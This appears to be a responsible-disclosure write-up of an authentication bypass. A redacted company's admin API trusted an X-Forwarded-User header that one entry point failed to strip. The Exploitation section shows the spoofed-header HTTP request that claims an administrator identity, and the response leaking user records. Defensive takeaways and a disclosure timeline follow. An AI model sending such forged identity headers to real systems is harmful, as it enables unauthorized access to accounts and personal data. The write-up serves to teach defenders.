Delegating authentication to the reverse proxy is a perfectly defensible pattern - as long as every front door strips the trusted header. At ██████████████ there were two, and only one of them did.
How you land on it
A subdomain sweep turns up admin.target.tld, which 302s to SSO. Standard, and properly locked. But the back-office JavaScript, served before the redirect, mentions a second base URL:
const API_BASE = window.__CFG__.adminApi ?? '/admin-api';/admin-api/whoami answers 401 with no redirect. So: a separate authentication path. And the error body hands over a clue:
HTTP/2 401 Unauthorizedcontent-type: application/json{"error":"missing_identity_header","expected":"X-Forwarded-User"}Exploitation
GET /admin-api/users?limit=5 HTTP/2Host: admin.target.tldX-Forwarded-User: ||system.administrator@target.tld||HTTP/2 200 OKcontent-type: application/json{"users":[{"id":1,"email":"████████████████","role":"superadmin"}, …]}No password, no token, no interaction. I stop at five records and report.
Takeaways
- A trusted header must be stripped at the boundary, not per route. The stripping rule belongs to the entry point, for everything that sits behind it.
- An error message that names the expected header does half the attacker’s work.
401on its own would have been plenty. - Back-office JS bundles are served before the SSO redirect in most setups: they describe the internal architecture to anyone who takes the time to read them.
Disclosure timeline
- Report sent
- Emergency mitigation route pulled from public exposure within the hour
- Fix deployed
- Cleared for publication